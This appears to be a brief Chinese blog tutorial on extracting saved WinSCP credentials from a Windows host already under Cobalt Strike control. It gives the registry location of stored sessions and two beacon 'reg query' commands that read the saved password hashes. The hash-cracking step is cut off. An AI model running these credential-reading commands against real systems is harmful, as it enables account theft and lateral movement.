WinSCP密码破解

1,940 阅读1分钟

        WinSCP是在Windows上使用SFTP进行文件传输的工具。可以找到用户在上面保存密码hash进行解密,获得密码。

        直接从官网下载最新版:winscp.net/download/Wi…

假设目标已经上线CS:

确认安装了程序

确定存储位置

默认情况下,Winscp配置会存储在Windows对应的注册表项下(包括连接的IP、用户名、密码Hash)。

HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\

步骤

查看注册表里的会话信息:

beacon> shell reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions"

获取到存在的会话后,读存储的密码hash:

beacon> shell reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\rebootORZ@172.16.81.134"

破解hash

如果说单个的话,直接将hash拷贝下就行:

如果说比较多的,可以RDP直接连上去导出配置文件,再到本地解: